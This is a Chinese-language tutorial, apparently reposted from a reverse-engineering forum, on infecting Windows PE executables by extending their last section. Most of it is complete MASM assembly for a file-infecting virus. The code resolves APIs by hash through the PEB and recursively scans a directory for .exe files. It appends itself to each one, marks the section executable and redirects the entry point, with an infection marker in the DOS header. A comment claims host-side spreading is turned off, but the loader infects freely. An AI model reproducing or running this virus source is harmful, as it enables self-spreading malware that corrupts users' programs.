原文:http://www.pediy.com/kssd/index.html -- 病毒技术 -- 病毒知识 -- Anti Virus专题
今天我们的感染方式是扩展末尾节,因为它很简单、稳定、快捷。那么扩展末尾节顾名思义就是针对被感染对象的最后一个节的扩展。将尾部节的大小扩充,然后将我们的病毒代码Write进去,修改若干的PE结构成员。 知道这些,你肯定会问修改哪些若干成员,为了给大家更直白的感觉,下面我列出了感染中需要修改的结构成员。
1. SizeOfImage 50h
2. SizeOfRawData 10h
3. VirtualSize 08h
4. Characteristics 24h
5. AddressOfEntryPoint 28h
6. e_cblp + e_cp 02h ;4字节感染标记,利用你的创造性,来吧。
后面给出的数值则是这些成员相对于结构的偏移。这是为了我们后面的写Raw代码时候的方便.
获得对齐文件大小后,我们UnMap掉映射文件,然后关闭文件映射对象。因为我们等下需要以指定的大小(也就是刚刚我们获得的对齐文件大小)来创建文件映射对象,这样就免得我们通过SetEndOfFile函数来增加我们的文件长度了。
由于我们要定位最后一个节表的偏移,所以此时我们要通过PE Header的偏移 + 74h 来到数据目录段后再 + [NumberOfRvaAndSizes]*8 + [NumberOfSections - 1]* 28h 。因为我们事先不知道对方的程序是否做过优化或者是否有几个数据目录结构。所以我们需要读取它的数量*数据目录的结构大小来定位节表。那么+ [NumberOfSections - 1]* 28h 我想大家应该也知道了吧,因为我们要定位末尾节表偏移,所以+ [节数量-1]*节表结构的字节大小。
因为我们要将我们的病毒体整个写入到我们末尾节的尾部(这里的尾部指的是它代码后面),所以我们需要定位末尾节它代码大小后面的偏移。我们通过节表中的SizeOfRawData + pointerToRawData来定位 (不知道这两个成员是分别做什么用的吗?是文件在磁盘的物理偏移和大小)。
如果想要我们的程序从我们写入的偏移开始执行,我们需要修改被感染程序的OEP,也就是PE Header结构的AddressOfEntryPoint。但是我们需要注意的一点是这个成员是RVA地址,也就是映射到内存后基于基地址的偏移。所以我们需要以节表映射到内存的偏移 + 原始节在磁盘中的字节大小。 不用说肯定是节表的SizeOfRawData + virtual address了。 OK,此时我们可以将两个成员相加后得到偏移写入到AddressOfEntryPoint成员了
接下来我说下如何计算jmp 到oep的相对偏移,因为我们都知道我们jmp到一个地址,实际上编译器编译后是写入的是我们jmp本身所处的地址基于要跳向地址的偏移,它是一个相对偏移,那么我们如何来计算这个相对偏移呢?我们新Oep偏移跳转到之前程序的OEP,这肯定是一个long跳转也就是5字节的。如果我们仅仅是从低地址跳向高地址,那么直接通过高地址 - 低地址的偏移 - 5就可以了。 但是我们是高地址跳向低地址。所以我们通过低地址 - 高地址得到补码后 + 5则为我们高地址基于低地址的偏移。因为很懒的缘故吧,所以我通过新OEP +5字节后,在通过原Oep - 新Oep。得到值则为新Oep相对原Oep的偏移。然后就可以将这个4字节值写入到我们jmp 后面的偏移了.
代码如下:
.386 02. .model flat, stdcall 03. option casemap:none 04. 05.include windows.inc 06. 07. .code 08. 09[email protected] macro str 10. 11. 12. call @f 13. db str, 0 14. 15.@@: 16. 17. endm 18. 19.VirusFlag equ ‘Test‘ 20. 21.VirusEntry: 22. pushad 23. pushfd 24. 25. call Dels 26. 27.Dels: 28. pop ebp 29. sub ebp, Dels 30.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 31.; 填充API函数地址 32.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 33. call GetKrnl32 34. lea edi, [ebp + dwFuncs] 35. call GetApi 36. @pushsz ‘user32‘ 37. call dword ptr [ebp + _LoadLibraryA] 38. call GetApi 39.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 40.; 为了没有危害性,程序判断了在宿主中不开启感染函数 41.; 这样也就无法通过宿主来进行传播,宿主仅调用提示函数 42.; 感染仅在Loader中开启...... 43.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 44. assume fs:nothing 45. mov eax, fs:[30h] ; PEB 46. mov eax, [eax + 08h] ; PEB.lpImageBaseAddress 47. cmp dword ptr [eax + 2], VirusFlag ; 判断宿主是否已被感染 48. jne _Loader 49.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 50.; 消息框警告用户已经中毒 51.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 52. sub edx, edx 53. push 30h 54. lea eax, [ebp + szTitle] 55. push eax 56. lea eax, [ebp + szText] 57. push eax 58. push edx 59. call dword ptr [ebp + _MessageBoxA] 60.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 61. popfd 62. add esp, 4 * 8 ; 跳过pushad,如果用popad会覆盖ebp 63. lea eax, [ebp + JmpHost] 64. jmp eax ; 跳到原入口 65. 66._Loader: 67.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 68.; Loader感染过程 69.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 70. mov edx, ebp 71. push ‘exe.‘ 72. @pushsz ‘F:\Test‘ 73. call InjectDisk 74. 75. popfd 76. popad 77. ret 78. 79.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 80.; 获得kernel32基地址 81.; Input: nothing 82.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 83.GetKrnl32: 84. push dword ptr 006ch 85. push dword ptr 006c0064h 86. push dword ptr 002e0032h 87. push dword ptr 0033006ch 88. push dword ptr 0065006eh 89. push dword ptr 00720065h 90. push word ptr 006bh 91. mov ebx, esp 92. 93. assume fs:nothing 94. mov eax, fs:[30h] 95. mov eax, [eax + 0ch] 96. mov eax, [eax + 1ch] 97. 98._Search: 99. or eax, eax 100. je _NotFound 101. inc eax 102. je _NotFound 103. dec eax 104. mov ecx, dword ptr 13 ; ecx = 比较长度 105. lea esi, [eax + 1ch] 106. mov esi, [esi + 4] ; esi -> UNICODE_STR.Buffer 107. mov edi, ebx 108. repz cmpsw 109. or ecx, ecx 110. jz _Found 111. mov eax, [eax] 112. jmp _Search 113. 114._NotFound: 115. or eax, 0ffffffffh 116. jmp _Over 117. 118._Found: 119. mov eax, [eax + 08h] 120. 121._Over: 122. add esp, 26 123. ret 124. 125.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 126.; 获取并填充API函数地址 127.; Input: eax = Krnl32Base, edi = HashFuncAddress 128.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 129.GetApi: 130. pushad 131. xchg eax, ebx ; ebx = Krnl32Base 132. mov eax, [ebx + 3ch] 133. mov esi, [eax + ebx + 78h] ; Get Export RVA 134. lea esi, [esi + ebx + 18h] ; esi -> Export NumberOfNames 135. 136. cld 137. lodsd 138. xchg eax, ecx ; ecx = NumberOfNames 139. lodsd 140. push eax ; [esp] = AddressOfFunctions 141. lodsd 142. add eax, ebx 143. xchg eax, edx ; edx = AddressOfNames 144. lodsd 145. add eax, ebx 146. xchg eax, ebp ; ebp = AddressOfNameOrdinals 147. xchg edx, esi ; esi = AddressOfNames 148. 149._NextFunc: 150. lodsd 151. add eax, ebx ; eax = API函数名字符串 152. xor edx, edx 153. 154._CalcHash: 155. rol edx, 3 156. xor dl, byte ptr [eax] 157. inc eax 158. cmp byte ptr [eax], 0 159. jnz _CalcHash 160. 161. push edi ; 保存dwFuncs 162. 163._ScanDwFuncs: 164. cmp [edi], edx 165. jnz _SkipFunction 166. movzx eax, word ptr [ebp] ; 取出对应的索引 167. shl eax, 2 168. add eax, [esp + 4] ; 索引 * 4加到AddressOfFunctions 169. mov eax, [eax + ebx] ; 取出API函数RVA 170. add eax, ebx ; 获得API函数地址 171. scasd ; 跳过Hash 172. stosd ; 存储地址并增加edi 173. jmp _Ret 174. 175._SkipFunction: 176. scasd 177. scasd ; 2个scasd后指向dwFuncs中的下一个 178. xor eax, eax 179. cmp dword ptr [edi], eax 180. jne _ScanDwFuncs 181. 182._Ret: 183. pop edi ; 还原edi指向dwFuncs首地址 184. add ebp, 2 ; ebp指向AddressOfNameOrdions中的下一个索引 185. loop _NextFunc 186. 187. pop ecx 188. popad 189. ret 190.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 191.; 感染磁盘函数 192.; Input: edx = Dels(重定位偏移差) 193.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 194.InjectDisk proc lpszDirectory, dwFileType 195. 196. local @hFindFile 197. local @stWfd:WIN32_FIND_DATA 198. local @szSearch[MAX_PATH]:byte 199. 200. pushad 201. mov ebx, edx ; ebx = 重定位 202.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 203.; esi = @szSearch 204.; copy文件路径到esi 205.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 206. lea esi, @szSearch 207. push lpszDirectory 208. push esi 209. call dword ptr [ebx + _lstrcpyA] 210.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 211.; esi + ‘\*.*‘, edi = ptr WIN32_FIND_DATA 212.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 213. @pushsz ‘\*.*‘ 214. push esi 215. call [ebx + _lstrcatA] 216. lea edi, @stWfd 217. push edi 218. push esi 219. call dword ptr [ebx + _FindFirstFileA] 220. inc eax 221. jz _ID_Ret ; 判断是否返回INVALID_HANDLE_VALUE(-1) 222. dec eax 223. mov @hFindFile, eax 224. .repeat 225. pushad 226. mov edi, esi ; esi = @szSearch 227. xor eax, eax 228. mov ecx, MAX_PATH 229. rep movsb 230. popad 231. cmp byte ptr [edi + WIN32_FIND_DATA.cFileName], ‘.‘ ; 比较是不是目录 . 232. je _FindNext 233. push lpszDirectory 234. push esi 235. call dword ptr [ebx + _lstrcpyA] 236. 237. @pushsz ‘\‘ 238. push esi 239. call dword ptr [ebx + _lstrcatA] ; esi = 路径 + ‘\‘ 240. 241. lea edx, [edi + WIN32_FIND_DATA.cFileName] ; edx -> 文件名 242. push edx 243. push esi 244. call [ebx + _lstrcatA] ; 链接文件名到esi 245. 246. mov eax, [edi.WIN32_FIND_DATA.dwFileAttributes] 247. and eax, FILE_ATTRIBUTE_DIRECTORY ; 属性是否是目录 248. .if eax == FILE_ATTRIBUTE_DIRECTORY ; 如果是目录就把当前路径 249. mov edx, ebx ; 作为参数传给Inject_Disk 250. push dwFileType ; 进入这个目录感染 251. push esi 252. call InjectDisk 253. jmp _FindNext 254. .endif 255.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 256.; 转换小写 257.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 258. push esi 259. call StrLwr 260. 261. push esi 262. call dword ptr [ebx + _lstrlenA] 263. 264. mov edx, dwFileType 265. cmp dword ptr [esi + eax - 4], edx ; 比较扩展名是否为‘.exe‘ 266. jne _FindNext 267.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 268.; 进行感染工作 269.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 270. mov eax, esi 271. call InjectFile 272. 273. _FindNext: 274. push edi ; edi -> WIN32_FIND_DATA 275. push @hFindFile 276. call dword ptr [ebx + _FindNextFileA] 277. .until eax == 0 278. 279. push @hFindFile 280. call dword ptr [ebx + _FindClose] 281._ID_Ret: 282. popad 283. ret 284. 285.InjectDisk endp 286.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 287.; 字符串转换小写函数 288.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 289.StrLwr proc uses esi edi, pString 290. 291. mov esi, pString 292. mov edi, esi 293.@@: 294. lodsb ; 从esi取一个字符送入al 295. test al, al 296. je @f 297. .if al >= ‘A‘ && al <= ‘Z‘ 298. or al, 20h 299. stosb ; 转换为小写送入edi 300. jmp @b 301. .endif 302. stosb 303. jmp @b ; 如果是小写直接送入 304.@@: 305. ret 306. 307.StrLwr endp 308.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 309.; Input: eax - 对齐的值 ecx - 对齐因子 310.; OutPut: eax - 对齐值 311.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 312.AlignSize: 313. pushad 314. xor edx, edx 315. push eax 316. div ecx 317. pop eax 318. sub ecx, edx 319. add eax, ecx 320. mov [esp + 4 * 7], eax 321. popad 322. ret 323.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 324.; 感染过程 325.; Input: eax - 文件路径 326.; Output: nothing 327.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 328.InjectFile: 329. pushad 330. sub edx, edx 331.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 332.; mov ebp, ebx .... ebp = Dels 333.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 334. mov ebp, ebx 335. push edx 336. push edx 337. push OPEN_EXISTING 338. push edx 339. push FILE_SHARE_READ 340. push GENERIC_WRITE or GENERIC_READ 341. push eax 342. call dword ptr [ebp + _CreateFileA] 343. inc eax ; 判断eax是否等于INVALID_HANDLE_VALUE(-1) 344. jz _OpenFaild 345. dec eax 346. xchg eax, ebx ; ebx = 文件句柄 347. xor edx, edx 348. push edx 349. push edx 350. push edx 351. push PAGE_READWRITE 352. push edx 353. push ebx 354. call dword ptr [ebp + _CreateFileMappingA] 355. test eax, eax 356. jz _OpenMapFaild 357. xchg eax, esi ; esi = 文件映射句柄 358. sub edx, edx 359. push edx 360. push edx 361. push edx 362. push FILE_MAP_WRITE 363. push esi 364. call dword ptr [ebp + _MapViewOfFile] 365. test eax, eax 366. jz _MapFileFaild 367. xchg eax, edi ; edi = 文件映射内存首地址 368.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 369. cmp word ptr [edi], ‘ZM‘ 370. jnz _IF_Ret 371. cmp dword ptr [edi + 2], VirusFlag ; 检查是否已被感染 372. jz _IF_Ret ; 如果等于说明该文件已感染过 373. push 0 374. push ebx 375. call dword ptr [ebp + _GetFileSize] ; 获取文件长度, eax - FileSize 376. add eax, VirusSize 377. mov edx, [edi + 3ch] 378. add edx, edi ; edx -> PE Header 379. push dword ptr [edx + 3ch] 380. pop ecx ; ecx = FileAlignment文件对齐粒度 381. call AlignSize ; eax = VirusSize + FileSize按文件粒度对齐后大小 382. 383. pushad 384. push edi 385. call dword ptr [ebp + _UnmapViewOfFile] 386. push esi 387. call dword ptr [ebp + _CloseHandle] 388. popad 389. 390. push eax 391. xor edx, edx 392. push edx 393. push eax ; 为病毒留下空间 394. push edx 395. push PAGE_READWRITE 396. push edx 397. push ebx 398. call dword ptr [ebp + _CreateFileMappingA] 399. pop ecx ; ecx = VirusSize + FileSize文件粒度对其 400. or eax, eax 401. jz _OpenMapFaild 402. xchg eax, esi ; esi = 文件映射句柄 403. 404. sub edx, edx 405. push ecx 406. push edx 407. push edx 408. push FILE_MAP_WRITE 409. push esi 410. call dword ptr [ebp + _MapViewOfFile] 411. test eax, eax 412. jz _MapFileFaild 413. xchg eax, edi ; edi = 内存映射首地址 414. mov edx, [edi + 3ch] 415. cmp word ptr [edx + edi], ‘EP‘ 416. jnz _IF_Ret 417.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 418.; edx - PE头结构偏移 419.; ecx - 节表数量-1的大小 420.; eax - 数据目录段大小 421.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 422. add edx, edi ; edx - PE Header 423. movzx ecx, word ptr [edx + 06h] ; ecx = 节的数量 424. dec ecx ; 节的数量-1 425. imul ecx, ecx, 28h ; ecx = 节表-1的大小 426. mov eax, [edx + 74h] ; eax = 数据目录数量 427. shl eax, 3 ; eax = 数据目录总大小 428.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 429.; edx - 指向末尾节表位置 430.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 431. add edx, 78h 432. add edx, eax 433. add edx, ecx ; edx -> 最后一个节表首地址 434.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 435.; ecx = SizeOfRawData + PointerToRawData 436.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 437. mov ecx, [edx + 14h] 438. add ecx, [edx + 10h] ; ecx = 最后一个节末尾处,即文件末尾的文件偏移 439. push ecx 440.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 441.; New OEP = SizeOfRawData + VitrualAddress 442.; eax = [edx + 10h] + [edx + 0ch] 443.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 444. mov eax, [edx + 10h] 445. add eax, [edx + 0ch] ; eax = 文件末尾Rva 446.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 447.; 计算jmp相对偏移值,然后写入 448.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 449. mov ecx, [edi + 3ch] 450. pushad 451. xchg eax, edx ; edx = New OEP 452. add edx, JmpSize ; 应为jmp的操作数是目的地址和jmp下一跳指令地址的差值 453. ; 而jmp是从JmpHost处开始执行的,所以要将edx(Virus入口偏移)加到JmpHost处 454. ; 让JmpHost做"New OEP"来计算 455. add edx, 5 ; New OEP + 5 - Old OEP 456. mov eax, [ecx + edi + 28h] ; eax = Old OEP 457. sub eax, edx 458. mov [ebp + JmpHost + 1], eax ; 用eax覆盖jmp VirusEntry中的VirusEntry4字节数据 459. popad 460.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 461.; [ecx + edi + 28h] = AddressOfEntryPoint 462.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 463. mov [ecx + edi + 28h], eax ; 修改入口 464.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 465.; [edx + 10h] - SizeOfRawData 466.; [ecx + edi + 3ch] - File Aligment 467.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 468. mov eax, [edx + 10h] 469. add eax, VirusSize ; eax = 最后一个节长度加上病毒的长度 470. mov ecx, [edi + 3ch] 471. mov ecx, [ecx + edi + 3ch] 472. call AlignSize ; eax = 文件粒度对齐后 473.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 474.; [edx + 10h] - SizeOfRawData 475.; [edx + 08h] - VirtualSize 476.; [ecx + edi + 50h] - SizeOfImage 477.; 0A0000020h - 可读可写可执行的节属性 478.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 479. mov [edx + 10h], eax ; eax = 按文件粒度对齐后的最后一个节长度+VirusSize 480. mov [edx + 08h], eax 481.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 482.; eax + VirtualAddress 483.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 484. add eax, [edx + 0ch] 485. mov ecx, [edi + 3ch] 486. mov [ecx + edi + 50h], eax 487. or dword ptr [edx + 24h], 0A0000020h ; 修改节属性 488. mov dword ptr [edi + 2], VirusFlag ; 添加感染标记 489. 490. pop eax ; 取出临时存储 491. pushad 492. xchg eax, esi ; esi = 文件末尾的文件偏移 493. add esi, edi 494. xchg esi, edi ; edi = 文件末尾地址 495. lea esi, [ebp + VirusEntry] ; esi = 病毒首地址 496. mov ecx, VirusSize ; 病毒长度 497. rep movsb ; 复制 498. popad 499. 500._IF_Ret: 501. push edi 502. call dword ptr [ebp + _UnmapViewOfFile] 503._MapFileFaild: 504. push esi 505. call dword ptr [ebp + _CloseHandle] 506._OpenMapFaild: 507. push ebx 508. call dword ptr [ebp + _CloseHandle] 509._OpenFaild: 510. popad 511. ret 512.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 513.; Jmp HostAddress 514.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 515.JmpHost: 516. JmpSize = $ - VirusEntry ; Virus入口到JmpHost的长度 517. jmp VirusEntry ; 这里写VirusEntry是因为要留出空间以便改写 518. 519.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 520.szText db ‘Win32 PE Virus Demo‘, 0 521.szTitle db ‘Win32 PE Virus Demo‘, 0 522.dwFuncs: 523. dd 00C71F989h 524. _lstrcpyA dd 0 525. dd 00C71FDA1h 526. _lstrcatA dd 0 527. dd 00C71E271h 528. _lstrlenA dd 0 529. dd 056B28F3Eh 530. _FindFirstFileA dd 0 531. dd 0E37EAEC3h 532. _FindNextFileA dd 0 533. dd 04AAEF03Dh 534. _FindClose dd 0 535. dd 038C62A7Ah 536. _CreateFileA dd 0 537. dd 058D8C545h 538. _WriteFile dd 0 539. dd 00BE25545h 540. _ReadFile dd 0 541. dd 09554EFE7h 542. _GetFileSize dd 0 543. dd 0C0D6D616h 544. _CloseHandle dd 0 545. dd 0A412FD89h 546. _LoadLibraryA dd 0 547. dd 0F2509B84h 548. _GetProcAddress dd 0 549. dd 0D45D7149h 550. _MapViewOfFile dd 0 551. dd 04F7CD23Ch 552. _CreateFileMappingA dd 0 553. dd 0D45C1049h 554. _UnmapViewOfFile dd 0 555. dd 014D14C51h 556. _MessageBoxA dd 0 557. dd 0 558.VirusSize = $ - VirusEntry 559. 560. end VirusEntry